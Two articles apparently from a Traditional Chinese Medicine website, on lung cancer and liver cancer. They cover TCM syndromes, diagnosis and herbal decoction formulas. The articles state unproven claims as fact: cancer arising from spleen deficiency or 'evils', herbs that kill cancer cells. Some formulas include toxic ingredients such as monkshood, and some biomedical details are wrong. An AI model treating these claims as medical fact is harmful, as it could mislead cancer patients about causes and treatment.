Lung cancer develops when lung cells change into abnormal cancer cells after being continually irritated by something in their environment, known as a carcinogen. The most common lung carcinogens are the toxins in cigarette smoke, to which both smokers and those breathing other people’s secondhand smoke are exposed. The Cancer Society of New Zealand reports that second-hand smoke is the third largest killer in the country, after active smoking and alcohol use. Industrial chemicals and dusts can also act as carcinogens and contribute to the development of lung cancer. 

Cancer cells are cells able to divide very rapidly and do not follow the regular patterns of normal healthy cells. They form colonies or tumours of tissue that do not help the lungs to function normally. Some cancer cells break off and travel in the blood to different parts of the body to form new cancer colonies known as “metastases.” When these cancer colonies grow so large that they interfere with normal lung function or the healthy functioning of other parts of the body, symptoms like pain, bleeding, loss of function (i.e. difficulty breathing), and /or weight loss may appear. 

Types of Lung Cancer 
Lung cancers are grouped according to the type of cells they contain. Because each cancer cell type behaves differently, selected treatment will also be different. 

Squamous cell carcinoma is the most common type of lung cancer (30 percent of cases) and is almost always associated with tobacco smoking. It develops in the lung cells lining the main bronchi (the largest air passages). This tumour often grows out into the airway and blocks it, leading to symptoms like breathlessness, chronic cough, and bloodstained (rusty) sputum. It usually spreads into the chest wall and local lymph nodes before metastasizing (sending cancerous cells to distant parts of the body). When this happens, it may be discovered and diagnosed early enough for effective surgical removal.
   
Adenocarcinoma is the form of lung cancer most commonly found in non-smokers and accounts for 29 percent of all lung cancers. There is a high rate of this kind of cancer among non-smoking Hong Kong women. It develops in the glands supplying the lungs with mucous of the airways and is often found in the outer areas of the lung.
   
Small cell carcinoma, another common cancer, (17 percent of lung cancer cases), is also strongly linked to cigarette smoking. This type is sometimes referred to as oat cell carcinoma because the cancer cells look oat-shaped. Small cell carcinoma can cause a rapid early death because it spreads or metastasizes quickly and is “silent,” meaning it does not have early warning symptoms.
   
Large cell carcinoma is responsible for 15 percent of lung cancer cases. It has large, rounded cells and grows in the airways eventually making it difficult to breathe.
   
Bronchioloalveolar cell carcinoma is a rare tumour found in less than two percent of cases.
   
Unknown cell types: Nine percent of tumours contain cancer cells which pathologists cannot identify or classify either because the cells are “mixed” (containing a range of different types of cells), undifferentiated (do not have characteristics belonging to any particular cell line) or come from another part of the body.
   

Mesothelioma is not always classified as lung cancer because it develops in the membranes (pleura) covering the lung and the inside of the chest walls. A rare tumour, mesothelioma is strongly linked with exposure to asbestos. This is the reason asbestos is now considered to be a very dangerous material.

 

According to Traditional Chinese Medicine (TCM) theory, lung cancer is included under the categories describing “lung-masses”, “expanding-masses”, “cough”, “cough blood” and “chest pain”. Several ancient medical books make reference to it. For example, in the book “Summary from the Golden Chest ” (Han Dynasty 206-220AD) under the five organs section, it states “the [lung] mass cannot be easily removed.” In the Huang Di Nei Jing Su Wen , another famous book written during the Han dynasty, it refers to “difficulty breathing [with lung cancer] without having difficulty eating.” TCM believes lung cancer results from having a lack of healthy energy and from the accumulation of exogenous evils (outside influences that invade the body and cause illness).
 

 

Causes

Retention of Wetness and Phlegm evil Hypofunction (under functioning) of the  spleen causes a disturbance in body-fluid metabolism and failure of fluid transportation, which are part of this organ’s main functions in TCM. Untransformed body fluid turns into phlegm and wetness, which are toxic materials. These toxic materials flow upward and interfere lung function. 

Stagnation of Vital Energy 
Under normal conditions, the vital energy (qi) circulates smoothly in and out, up and down and all over the body. If an internal injury occurred, for example, depression of the seven emotions will cause deficiency and impairment of vital qi and derangement of yin and yang, it may cause breathing syndromes due to the improper lung function. TCM believes yin and yang disharmony is the cause of disease and physiological disorders. Disharmony means the proportions of yin and yang are unequal and unbalanced. When one aspect is deficient, the other is in excess. Lung cancer is induced by an overall deficiency of qi and yin in the body, which leads to an excess syndrome in the lungs. The excess syndrome generally manifests as pathological lung changes such as a stagnation of qi flow, blood stasis (lack of easy blood flow) and accumulation of phlegm and toxins.

Blood Stasis
Vital energy (qi) acts as the commander of blood. It means that vital energy is the motivating force of the blood circulation. Therefore blood stasis is usually accompanied by stagnation of vital energy. Coagulation and stagnation of qi and blood flow can contribute to the formation of a tumour. 

Pathogenic evils (substances causing disease) invade the lung 
When the healthy energy is deficient due to body dysfunction or structural damage. Some pathogenic evils such as wind and cold take advantage of this imbalance and invade the lung. Over time these evils accumulate in the lungs and can cause cancer.

How do these factors contribute to the development of lung cancer? 
As a result of lung dysfunction and improper qi flow, body fluids cannot be properly distributed. They begin to accumulate in the lungs and eventually turn into phlegm. Over time, the phlegm, stagnant blood and qi flow, and the remaining toxins trapped in the lungs form into a lump, which would be known in western medicine as a lung cancer mass. 

Other Factors Associated with the Development of Lung Cancer:

1. Smoking
2. Occupational Exposure to Carcinogens
(substances that can cause cancer) i.e. inorganic arsenic, asbestos, chrome, nickel, radon, hydrocarbon in coal smoke, coal tar, and fossil oil
3. Air pollution
4. Ionizing Radiation
5. Diet and Nutrition

Symptoms

Lung cancer can be divided into 5 different syndromes. The symptoms will differ depending on the syndrome each individual has.

1. Yin Deficiency and Interior Heat Syndrome 
Symptoms include a cough without sputum or a cough with thick sputum. The sputum can appear blood stained. Breathlessness, chest pain, a dry mouth and throat, a hoarse voice, mild fever and night sweats may also be present. Individuals may feel distracted or have insomnia. The tongue appears flushed or dark red and has a little or no coating. The pulse feels rapid and thready.

2. Spleen Deficiency and Phlegm Dampness Syndrome 
Symptoms include a cough that produces a lot of sputum and chest tightness accompanied by shortness of breath. These individuals usually feel weak and fatigued and have pale complexions. Weight loss and loose stools are also common. Their tongues appear pale and bulging and have an indented margin. A white and greasy fur coating may also be present. The pulse feels soft and moderate or soft and rolling.

3. Deficiency of Qi and Yin Syndrome 
Symptoms include a low and weak sounding cough, which produces a small amount of sputum, which can be bloodstained. These individuals can experience shortness of breath, fatigue and weakness. They are thirsty but lack the desire to drink and may sweat spontaneously or have night sweating. The tongue appears light red or red with an indented margin, and the pulse feels thready and weak.

4. Deficiency of Yin and Yang Syndrome 
Respiratory symptoms include a cough, shortness of breath, dyspnea (difficulty breathing) and/or tachypnea (rapid breathing) with exercise. Tinnitus (ringing in the ears), body aches, lower back (lumbar) or knee weakness, urinary frequency at night may also be present. Individuals can have an aversion to cold and have cold limbs. General fatigue and weakness are also not uncommon. The tongue appears light or dark red with a thin fur coating, and the pulse feels deep and faint.

5. Stagnation of Qi and Blood Stasis Syndrome 
Symptoms include difficulty coughing and expectorating bloodstained sputum, chest tightness, tachypnea (rapid breathing), chest pain and distension and abdomen pain located in a fixed position. Purple veins show on the neck and chest. Lips and nails are dark coloured. Constipation with dry and hard stools may also be present. The tongue appears dark red and may have either ecchymosis (bruise) or petechiae (pinpoint bruises) with a yellowish thin coating. The pulse will feel taut or uneven. 

Diagnosis

Development of lung cancer comes from a weakening of the healthy energy that flows through the body. As previously stated, this mainly occurs when there is a deficiency of vital qi and imbalance of yin and yang. It manifests itself as one of the five syndromes previously described under the “symptoms” section.

Diagnosis in TCM is based on four important examination techniques. The first is “questioning.” The TCM practitioner will want to know important information such as what your current complaints are, your past medical history, and family health history. The second technique is “observation.” Looking at the physical features of the body such as the face, tongue, hair, nails, sputum and area of pain all give clues as to what the problem may be. The third technique is “hearing and smelling.” Smelling the sputum and breath and listening to the sounds coming from the chest are important when evaluating lung cancer. The last technique used in examination includes “touching.” Feeling the pulse is one of the cornerstones of TCM diagnosis and gives the TCM practitioner a lot of information about the imbalance occurring in the body.

If the TCM practitioner, suspects there might be a serious problem that Chinese medicine alone cannot treat, he or she may recommend that the individual see a western doctor for further follow up. It is also not uncommon for a TCM practitioner to ask to see the blood work or x-rays that you have had performed to give the practitioner more information when forming a TCM diagnosis. The syndromes that are most commonly diagnosed with lung cancer include: 

1. Yin Deficiency and Interior Heat Syndrome
2. Spleen Deficiency and Phlegm Dampness Syndrome
3. Deficiency of Qi and Yin Syndrome
4. Deficiency of Yin and Yang Syndrome
5. Stagnation of Qi and Blood Stasis Syndrome

When evaluating someone for lung cancer, it is important to make sure that it can be differentiated from the following health problems.

Pneumonia 
This is an acute and febrile disease which is caused by a wind-heat pathogen (substance causing a disease). According to TCM, it develops in four stages: the defense (wei) stage, vital energy (qi) stage, nutrient (yin) stage, and blood (xue) stage. At the beginning there will be a fever and cough which are the defenses against the pathogens. As chest pain, coughing, and yellow thick sputum develop, the pneumonia goes into the qi stage. When the pathogens interfere with the body receiving nutrients, the pneumonia enters the nutrient stage, and symptoms such as a high fever or convulsions may occur. Finally, when the pathogenic factors enter the blood, lethargy, coma and even death may occur if it is not treated properly. 

Lung abscess
It is usually caused by a pathogen that originates form outside of the body and also has an acute onset. Symptoms like sudden chilling, high fever, chest pain, increased sputum production with a fishy smell or thick bloodstained sputum, and a cough are usually present. 

Lung tuberculosis 
It is caused by weakness, a deficiency of qi and blood, and the bacteria Mycobacterium tuberculosis. Its main active manifestations are a chronic cough, heamoptysis (coughing up blood or bloody sputum), fever, night sweating, fatigue and weight loss. 

Treatment

Treatment of lung cancer is complex and can benefit from a complementary western and TCM approach. Often the combined treatment of western medicine and TCM produces better outcomes than using either method alone.

A lot of traditional TCM treatments increase the body’s resistance to invading pathogens (substances that cause disease) in order in to increase a person’s lifespan. TCM treatments aim to relieve symptoms, stop the disease’s progression and restore healthy functioning of the individual rather than curing (in the western sense) a disease completely. While herbs are commonly used, other methods of treatment may include acupuncture, meditation and qi gong.

Recently, with the advances in western research techniques, there has been a lot of research into anticancer mechanisms of Chinese herbs. Studies have shown that certain TCM herbs can work in the following ways to help slow down or stop the progression of cancer by: 

1. Inducing the cancer cell to differentiate into a normal cell.
2.. Promoting apoptosis of cancer cells. Apoptosis, also sometimes called programmed cell death, means that a chemical signal is triggered within the cell telling it to die. In cancer cells this chemical signal seems to be turned off, which is why they multiply rapidly.
3. Helping to block the chemical messages in cancer cells that tell them to grow, multiply and form into tumours.
4. Improving the efficacy of chemotherapy. Currently many cancers are developing drug resistance to chemotherapy regimens because of their high expression of P-polysaccharides(PGP). Some TCM herbs can interfere with this expression or offer new ways to attack cancer cells.
5. Activating blood circulation and eliminating blood stasis. It is thought better blood circulation can limit the tumour spread and allow chemotherapy to reach the cancer cells more effectively.
6. Supporting the body’s own immune system by activating macrophages, increasing antibody production, and regulating lymphocytes so it can fight cancer cells more efficiently and limit the growth of the tumor. Some mushrooms such as yunzhi (Coriolus versicolor) and lingzhi (Ganoderma lucidum) are known for their ability to support healthy immune system function.
7. Killing the cancer cells directly.

Because there are many, TCM prescriptions and products that may possess one or more of the above properties, it is best to get the advice of a TCM practitioner who knows what’s best for you and your condition. 

The treatments described below are some approaches that may be taken to treat the different TCM syndromes associated with lung cancer. 

1. Yin Deficiency and Interior Heat Syndrome
Therapeutic aim: Nourish yin and clear away lung-heat, soften the hard mass found in the chest and remove toxins from the body. 

Prescription: Yangyin Qingfei Xiaojie Tang Jiajian Decoction.

Nanshashen Fourleaf Ladybell Root
Beishashen Coastal Glehnia Root
Tiandong Cochinchinese Asparagus Root
Maidong Dwarf Lilyturf Tuber
Baihe Lily Bulb
Xingren Almond
Baibu Stemona Root
Yuxingcao Heartleaf Houtuynia Herb
Shengyiren Raw Coix Seed
Quangualou Whole Snakegourd Fruit
Bayuezha Akebia fruit
Shishangbai Selaginella Herb
Shijianchuan Chinese Sage Herb
Baihausheshecao Hedyotis Diffusa Herb
Chanpi Dry skin of Toad
Xiakucao Spike of Prunella
Shenmuli Raw Oyster Shell

Addition for individuals with sputum mixed with blood: 

Xianhecao Hairyvein Agrimonia Herb
Baimaogen Lalang Grass Rhizome

Addition for individuals with low grade fever: 

Yinchaihu Starwort Root
Digupi Chinese Wolfberry Root-bark

Addition for individuals with insomnia: 

Zaoren Date Seed
Hehuanpi Silktree Albizia Bark
YeJiaoteng Fleece-flower Stem

Addition for individuals with night sweating:

Rudaogen Glutinous Root
Fuxiaomai Blightened Wheat

2. Spleen Deficiency and Phlegm Dampness Syndrome 
Therapeutic aim: Replenish qi and invigorate the spleen, disperse lung-qi and help break up and expel phlegm. 

Dangshen Tangshen
Baizhu Largehead Atractylodes Rhizome
Fuling Indian Bread
Chenpi Dried Tangerine Peel
Banxia Pinellia Tuber
Xingren Almond
ShengnanXing Rhizome of Arisaema
Shanhailuo Codonopsitis Root
Shishangbai Selaginella Herb
Shijianchuan Chinese Sage Herb
Yiren Coix Seed
Ziwan Tatarian Aster Root
Kuandong Common Coltsfoot
Jiaoshanzha Hawthorn Fruit (charred)
Jiaoshenqu Leavened mixture of almond, sweet wormwood herb etc.(charred)

Addition for individuals with an abundant expectoration of sputum

Baijiezi Seed of Sinapis Alba
Tianjiangke Shell of Metaplexis fruit

Addition for individuals with loose stool and cold limbs

Buguzhi Malaytea Scurfpea Fruit
Huluba Common Fenugreek Seed
Tusizi Dodder Seed

3. Deficiency of Qi and Yin Syndrome 
Therapeutic aim: Supplement qi, nourish yin, break up and expel phlegm and remove toxic substances from the body.

Prescription: Combination decoction of Sijunzi Tang and Shashen Maidong Tang Jiajian

Huangqi Raw Milkvetch Root
Baizhu Raw Largehead Atractylodes Rhizome
Beishashen Coastal Glehnia Root
Tiandong Cochinchinese Asparagus Root
Maidong Dwarf Lilyturf Tuber
Wuweizi Chinese Magnoliavine Fruit
Xingren Almond
Baibu Stemona Root
Gualoupi Snakegourd Fruit peel
ShengnanXing Rhizome of Arisaema
Shijianchuan Chinese Sage Herb
Baihausheshecao Hedyotis Diffusa Herb
Xiakucao Spike of Prunella
Shengmuli Raw Oyster Shell
Chuanbeimu Tendrilleaf Fritilary Bulb

Addition for individuals with yellow sputum

Huangqin Baical Skullcap Root
Sangbaipi White Mulbery Root-bark
Yeqiaomaigen Wild Buckwheat Root

Addition for individuals with more yin deficiency 

Xiyangshen American Ginseng
Nuzhenzi Glossy Privet Fruit

Addition for individuals with more Qi deficiency

Shengshaishen Sun-dried ginseng
Taizishen Heterophylly Falsestarwort Root

4. Deficiency of Yin and Yang Syndrome
Therapeutic aim: Nourish yin, warm the kidney, subdue swelling and dissolve lumps or masses. 

Prescription: Shashen Maidong Tang Decoction and Zan Yu Dan (fertility promoting pill) 

Beishashen Coastal Glehnia Root
Tiandong Cochinchinese Asparagus Root
Shengdi Rehmannia Root (unprocessed)
Xianmao Common Curculigo Rhizome
Xianlingbi Epimeddium
Congrong Cistanche Deserticola Stem
Chuanbeimu Tendrilleaf Fritilary Bulb
Shoudi Rehmannia Root (processed)
Shandougen Vietnamese Sophora Root
Shishangbai Selaginella Herb
Huangbuliuxing Cowherb seed
Shijianchuan Chinese Sage Herb
Furongye Cottonrose Hibicus leaf
Xueliguo Climbing Fig Fruit

Addition for individuals with an aversion to cold and who have cold limbs 

Fuzi Prepared Common Monkshood Daughter Root

Addition for individuals with frequent urination at night

Yizhiyen Sharpleaf Glangal Fruit Seed

Addition for individuals with difficult and fast breathing

Shengesan Powder of Ginseng and Gecko
Zishiying Fluorite
Tusizi Dodder Seed

5. Stagnation of Qi and Blood Stasis Syndrome
Therapeutic aim: Replenish Qi to resolve blood stasis, soften hard mass and dissolve lumps or masses.

Prescription: Fuyuan Huoxue Tang Jiajian Decoction (for recuperation and promoting blood circulation)

Taoyen Peach seed
Huangbuliuxing Cowherb seed
Danshen Danshen Root
Sanleng Common Burreed Tuber
Ezhu Zedoray Rhizome
fengfang Honeycomb
Bayuezha Akebia fruit
Chuanyujin Curcuma stem
Quangualou Whole Snakegourd Fruit
Shengbiejia Raw Turtle Shell
Xiakucao Spike of Prunella
Haizao Seaweed
Kunbu Tangle
Shandougen Vietnamese Sophora Root
Shijianchuan Chinese Sage Herb
Baihausheshecao Hedyotis Diffusa Herb
Shancigu Common Pleione Pseudobulb
Shengmuli Raw Oyster Shell

For individuals with bloodstained sputum 

Deduct:
Taoyen Peach seed
Danshen Danshen root
Huangbuliuxing Cowherb seed
And Add:
Xianhecao Hairyvein Agrimonia Herb
Qiancaogen India Madder Root
Shensanqi Radix Notoginseng

Addition for individuals with a puffy face and head 

ShengHuangqi Raw Milkvetch Root
Fangji Fourstamen Stephania Root
Cheqianzi Plantain Seed

Addition for individuals with severe pain

Yanhu Yanhu
Ruxiang Frankincense
Moyao Myrrh
Xuchangqing Paniculate Swallowwort Root

 

 

]]> Liver Cancer http://acuherb.us/liver-cancer/ Tue, 06 Mar 2012 19:58:13 +0000 http://acuherb.us/?p=1440

Liver Cancer

by Dr. Ken Wang

The liver is a large wedge shaped organ found in the upper right side of the abdominal cavity. It is essential for the digestion and metabolism of food, breakdown of toxins and drugs, production of blood clotting factors and storage of blood.

Liver cancer is one of the most common fatal cancers in many Asian and African countries. Less than 5% of patients survive five years after diagnosis. It is much less common (about 50 times less) in North America and Europe where it is still considered rare. However, rates are rising in some western countries such as Australia. This is thought to be due to a rise in Hepatitis B and Hepatitis C virus infection rates, both of which are major causes of liver cancer. It may be also attributed to a rise in emigration of people from countries where liver cancer is common.

In Traditional Chinese Medicine (TCM), liver cancer is associated with the presence of an “abdominal mass” referred to as “zheng” and “jia”. “Zheng” is a palpable and fixed mass in the abdomen with localized pain. “Jia,” is an abdominal mass, which occurs intermittently and has pain that can move within the abdomen. Since TCM does not focus on anatomical pathological (disease) changes, the exact location of the abdominal mass is not as important as figuring out the disharmony pattern which causes the mass to occur. 

Early TCM medical literature described symptoms similar to our modern day understanding of liver cancer. One example is the “xi fen” disorder, which is the ancient medical name for lumps found at the left flank region (below the chest). Other symptom categories that have close relationships with liver cancer include abdominal distention, jaundice and abdominal fullness and oppression. Both oppression and fullness are TCM symptoms mainly caused by stagnation of qi flow (vital energy) in the chest.

In western medicine, liver cancer may be classified as either being benign, meaning cancer that does not spread, or malignant, meaning cancer that can spread as primary and secondary liver tumors. Secondary liver cancer refers to a tumor, which has metastasized from other organs. 

This article will mainly discuss primary hepatocellular carcinoma, a type of cancer that originates in the liver. 

TCM Representation of the liver, spleen and gall bladder organs 

 

Causes

In TCM, the causes of liver cancer can be divided into inherited factors and environmental factors.

1. Inherited factors:
Some individuals develop liver cancer because they have inherited susceptible genes from their parents. 

2. Environmental factors:
These include: 

Diet: Over-consumption of alcohol and eating improperly cleaned food can upset the digestive health, which is known as spleen disharmony.
Lifestyle: Over-exhaustion can lead to body disharmony.
Living: Environment such as a wet climate

Both inherited and environmental factors may result in spleen deficiency, stagnation of qi and the accumulation of dampness, which can progress to liver cancer. These terms are further explained in the symptom sections.

Symptoms

Individuals who are suffering from liver cancer usually develop a spleen deficiency first. In TCM, the spleen is largely responsible for the body’s digestive functions, which includes transforming water and nutrients into vital energy or qi, which in turn, is used by the body to carry out its daily functions. If liquids are unable to be transformed or digested properly by the spleen, dampness accumulates. When the dampness accumulates without being transformed into qi, it will turn into heat, which damages the body and makes a person sick. Sometimes when the dampness accumulates in the abdomen, abdominal distention will occur. 

If the spleen deficiency remains uncontrolled, qi movement becomes stagnant. Qi commands the blood so when qi stagnation persists, blood stasis (lack of smooth blood flow) is the result. When this condition continues to be uncontrolled for a long time, individuals develop excessive heat, which typically occurs in the stomach. It is often referred to as the heat of yang ming; because, the stomach is closely associated with the stomach meridian. When the liver cancer progresses to the late stage, the heat will exhaust the physiological fluids in the body leading to a condition known as yin deficiency. (See below).

Depending on the stage of the liver cancer, individuals will show one or more of the disharmony patterns listed below. The disharmony patterns can progress to other patterns and deficiencies not listed here if the conditions cannot be reversed back to healthy body functions. 

Types of Disharmony Patterns:
a) Spleen deficiency
As mentioned before, the spleen is important for transformation of nutrients and water. A deficiency can lead to an accumulation of unhealthy dampness, triggering weight loss, malaise, poor appetite and loose stools. Generally, the tongue does not appear red and the pulse feels soft or soggy, which are signs of dampness.

b) Stagnation of Qi
When qi becomes stagnant, the qi movement in the body will be disturbed, leading to a feeling of fullness in the upper abdomen. Individuals may have a poor appetite and flatulence (gas). With this condition, the pulse may be wiry or smooth. The tongue will have a thin and greasy coating and usually does not appear red.

c) Influence of dampness and heat 
Under the influence of heat, which belongs to yang evils, individuals may have irregular fevers and dark urine. As a result of dampness and heat in the liver and gall bladder, the normal regulation of bile will be affected. Bile is made in the liver and stored in the gallbladder where it is then excreted into the intestines to digest food. In TCM, jaundice occurs when the bile is “spilt over” or backed up into the liver. Since heat causes these problems, the pulse feels rapid and smooth if dampness is present. The tongue usually appears red with a yellow and greasy coating, also indicating heat and dampness in the body.

d) Excessive heat
With excessive heat, individuals may develop a fever with varying temperatures. Before developing a fever, some individuals may experience an aversion to feeling cold. Those who have a greater aversion to cold usually develop a higher temperature. For individuals with liver problems, the fever comes on at regular and particular times, usually in the afternoon, and it goes away without treatment. However, there are some cases, where individuals have sustained fevers. Sweating occurs once the fever has broken. With excessive heat, the pulse usually feels rapid and smooth, and the tongue may appear dry. Sometimes individuals without a fever will be classified as having excessive heat because of a hot feeling in the liver region.

e) Blood stasis
Blood stasis occurs when there is not a smooth flow of blood in a particular area of the body. Individuals with liver cancer who have blood stasis experience sharp pain in the liver region. The pain will be aggravated when the affected area is pressed, and it is usually fixed in a certain position. The pulse feels thin and choppy, and the tongue will appear dark with purple spots.

f) Yin deficiency
In TCM, material and fluid-like substances belong to yin. If a person is yin deficient, he or she will have a dry mouth and thin pulse. Since yin and yang always aim to be in balance, a yin deficiency can lead to a relative excess of yang. It is relative; because, even though the symptoms look like an excess problem, they originate from a deficiency and therefore need to be treated as a yin deficiency and not a yang excess. Symptoms of a relative excessive yang include irritability, a rapid pulse and a red tongue. Another symptom of yin deficiency is a tongue that has a shiny or peeled appearance if the tongue does not have a coating present.

Symptoms Associated with Liver Cancer:
Early stage liver cancer can be difficult to detect because there are few obvious symptoms. When the disease progresses to the intermediate and late stages, symptoms will become more prominent and noticeable. 

General symptoms: 
1. Pain in the “liver” region (the flank and upper abdomen) 
There are mainly two types of pain; dull and sharp. Sharp pain can be aggravated by pressure. It is usually caused by blood stasis (when blood is unable to flow smoothly), which is considered an excessive type disharmony. In TCM, an excessive type disharmony usually refers to a disharmony pattern caused by an excess of evils in the body. (These excesses are usually external forces outside the body that invade it and cause disease. This includes things such as heat, wind, dampness, cold and dryness.) In order to treat this disharmony, the evils need to be removed. If the disharmony were a deficiency type, the treatment would aim to replenish the deficient aspect instead of removing the evils. On the other hand, dull pain is caused by stagnant qi. Smooth flow of qi and blood are necessary for the body to function properly. If disharmony affects their flow, health problems will occur. Pain is a symptom of poor flow of qi and/or blood.

2. Mass in the upper abdomen
In TCM, this type of mass, known as “zheng” or an “accumulation,” is described in the definition section. There are several theories about how “zheng” develops. One theory is that it is caused by stagnant qi or blood stasis. Another theory is that it results from a spleen deficiency.

3. Other common symptoms
As a result of a spleen deficiency, individuals with liver cancer can feel general sluggishness because the spleen is responsible for “ruling” the four limbs. The spleen is also responsible for transforming nutrients and water into qi or vital energy for the body. Without healthy transformation, dampness accumulates in the body and causes many types of health problems. For example, accumulated dampness in the large intestine will lead to symptoms of diarrhea and nausea.

Spleen deficiency is often associated with abdominal distention. Being an earth element, the spleen should be able to contain and control the direction of water flow in the body. When spleen disharmony occurs, water is not controlled properly and fills up the abdomen resulting in abdominal distention. In western medicine, the symptom is known as ascites. 

Abdominal distention located in the upper abdomen is known as “pi man,” which means feeling fullness and oppression. Both oppression and fullness are mainly caused by stagnation of qi flow in the chest. If distention of the whole abdomen occurs, the condition is known as “gu zhang.” A spleen deficiency rather than improper qi flow mainly cause “gu zhang.” 

Diagnosis

Diagnosis is based on four examination techniques. The first is “questioning.” The TCM practitioner will want to know what the individual’s current complaints are, and will need their medical history and family health history. The second technique is “observation.” Physical features of the body such as the face, tongue, hair, nails, sputum (mucus that is coughed up) and examining the area of pain all offer clues as to what the problem may be. Observation of the tongue is particularly used as a gage to assess illness. The third technique is “hearing and smelling.” Smelling the sputum and breath and listening to the sounds coming from the chest offer additional clues. The last technique used in examination is “touching.” Feeling the pulse is a cornerstone of TCM diagnosis and gives the TCM practitioner a lot of information about the body’s imbalance. If the TCM practitioner suspects there might be a serious problem that Chinese medicine alone cannot treat he or she may recommend that the individual see a western doctor for further follow up. 

From a TCM point of view, liver cancer is generally classified according to the disharmony patterns each individual has. The symptoms section reviews the different disharmony patterns in detail.

Types of Disharmony Patterns: 

Spleen Deficiency
Stagnation of qi
Influence of Dampness and heat
Excessive Heat
Blood Stasis
Yin Deficiency

When classifying the patterns there are several important points that need to be differentiated: 
1. Classification of pain at the liver region
It is important to distinguish between pain due to stagnation of qi and pain due to blood stasis because it affects the choice of herbs and treatment strategies used. Pain due to qi stagnation usually feels dull while pain due to blood stasis feels sharp. In addition, it is also important to know whether a person with liver cancer has abdominal distention due to blood stasis because the patient may faint as a result of the disharmony.

2. Classification of abdominal distention Abdominal distention should be differentiated between qi stagnation and constrained liver qi because each is treated differently. Distention due to qi stagnation is known as “pi man” in TCM. It is characterized by the distention in the central upper abdomen, and it is usually aggravated after meals. On the other hand, constrained liver qi distention is characterized by distention at both flanks (below the chest) with dull pain and discomfort. Eating meals does not aggravate abdominal distension. 

3. Classification of fever
In addition to fever, liver cancer patients usually have signs of exterior disharmony. Exterior disharmony is similar to having a cold or the flu. Symptoms include an aversion to cold, a high temperature, and a floating pulse. However, fevers associated with liver cancer usually come in the afternoon and is associated with profuse sweating and a hot feeling over the liver region. 

Treatment

n TCM, liver cancer is mainly treated according to the classification of the individuals’ disharmony pattern.

1. Spleen Deficiency
The therapeutic aim is to strengthen the spleen. This decoction example includes the four herbs, which are a well-known combination for boosting spleen health and spleen qi in the body: 

Si Junzi Decoction 

Dang shen Tangshen
Bai Zhu Largehead Atractylodes Rhizome
Fu Ling Indian Bread
Gan Cao Liquorice Root

In this decoction, dang shen invigorates qi. Bai zhu strengthens the spleen. Fu ling promotes diuresis (urination) to eliminate dampness, and Gan Cao moderates the other herbs. 

Modification may be made to the basic Si Junzi decoction in order to promote the regulation of qi. An example includes: 

Xiangsha Liujun pills 

Dang shen Tangshen
Bai Zhu Largehead Atractylodes Rhizome
Fu Ling Indian Bread
Gan Cao Liquorice Root
Ban xia Pinellia Tuber
Chen pi Dried Tangerine Peel
Mu xiang Costusroot
Sha ren Villous Amomum Fruit

In this decoction, the basic four herbs in Si Junzi Decoction help strengthen the spleen. In addition, Ban xia and Chen pi regulates qi circulation and eliminates dampness and phlegm. Mu xiang and Sha ren further promote the qi circulation. The decoction is especially good for patients with spleen deficiency and stagnation of qi. 

2. Abdominal distention (ascites)
Xiangsha Liujun pills can further be modified to treat abdominal distention. Modification is as follows. 

Dang shen Tangshen
Bai Zhu Largehead Atractylodes Rhizome
Fu ling 
(outer cortex)		 Indian Bread Peel
Gan Cao Liquorice Root
Ban xia Pinellia Tuber
Chen pi Dried Tangerine Peel
Mu xiang Costusroot
Sha ren Villous Amomum Fruit
Che qian zi Plantain Seed
Da fu pi Areca Peel

In addition to the benefits of treating spleen deficiency and qi stagnation, the decoction also contains Che qian zi and Da fu pi, which can further relieve stagnation, promote diuresis (urination) and relieve edema (swelling) and dampness.

3. Stagnation of qi
The therapeutic aim is to resume the circulation of qi in the middle burner including the stomach and spleen. 

Zhishi Xiaopi Pills 

Dang shen Tangshen
Bai Zhu Largehead Atractylodes Rhizome
Fu Ling Indian Bread
Gan jiang Dry Ginger
Ban xia qu (one type of Ban xia) PinelliaTuber
Zhi shi Immature Orange Fruit
Hou po Officinal Magnolia Bark
Huang liang Golden Thread
Mai ya Germinated Barley (fried)

In this decoction, Zhi shi is the main herb for promoting qi circulation, dispersing the stagnation and helping to remove the abdominal mass. It is further supported by Hou po. Both Ban xia and Gan jiang are pungent in taste. In TCM, pungent tasting herbs can be used to help to remove a mass. Chinese terms describe this as “opening” the mass. Huang liang has bitter and cold properties that can clear away heat and remove dampness. Together with the bitter taste of Zhi shi and Hou po, they descend the qi, which also helps to disperse the mass. The whole decoction is supported by Dang shen, Bai zhu, Fu ling, which are all good herbs in invigorating spleen and removing dampness. 

4. Influence of dampness and heat

Yinchenhao Decoction

Yin chen Virgate Wormwood Herb
Zhi zi Cape Jasmine Fruit
Da huang Rhubarb

In the decoction, Yin chen is the main herb for clearing away heat and dampness and relieving jaundice. Zhi zi has cold and bitter properties, which eliminates heat and guides the dampness and heat to move downwards by penetrating the triple burner meridian. In TCM, the triple meridian is regarded as the distribution channels for body fluids. Da Huang is also cold and bitter. Not only can it remove heat, dampness and stasis, but is especially helpful in guiding the heat to leave the body through stools by penetrating the large intestine meridian.

5. Excessive heat 

Baihu Decoction 

Shi gao Gypsum
Zhi mu Common Anemarrhena Rhizome
Gan Cao Liquorice Root

In this decoction, both Shi gao and Zhi wu are cold herbs. Shi gao is also pungent and sweet. The decoction is very useful for removing extreme heat in the body, and it is supported by the Zhi wu herb, which is also cold and bitter. Gan cao is essential for protecting the stomach and spleen, and preventing the cold herbs from hurting the spleen. The decoction also has the added benefit of nourishing the body’s yin. 

6. Blood stasis

Shixiao powder

Pu huang Cattail pollen
Wu ling zhi feces of Trogoterus xanthipes

In this decoction, both Pu huang and Wu ling zhi promote blood circulation, remove blood stasis and relieve pain. 

7. Yin deficiency 

Sancai decoction 

Taizi shen Heterophylly Falsestarwort Root
Tian dong Cochinchinese Asparagus Root
Sheng di Rehmannia Root

In this decoction, Taizi shen is good for invigorating qi and promoting the production of body fluids. All three herbs work together to replenish yin deficiency in the body. Tian dong nourishes yin, clears away heat, moisturizes the lungs and benefits the kidneys. Sheng di cools the blood and nourishes yin to promote the production of body fluids.:

Prevention

From a TCM point of view, it is important to pay attention to the following points in order to prevent the occurrence of liver cancer.
Healthy diet
  Diet is important because it affects the spleen. In TCM, the spleen is responsible for extracting the nutrition from ingested foods and fluids and transforming them into qi and blood. It is also regarded as the source of these substances. It is such an important organ that it is sometimes referred to as the “foundation of afterbirth (postnatal) existence”. As previously discussed, spleen deficiency is one of the main causes for liver cancer. Symptoms like abdominal distention, ascites (fluid in the abdomen) are all related to spleen function and health. The spleen has a close relationship with the liver. Being an earth element, the spleen can easily be inhibited and restricted by the liver, a wood element, if it becomes deficient. Therefore, in order to maintain good harmony between the spleen and liver, it is particularly important to pay attention to strengthening spleen health.

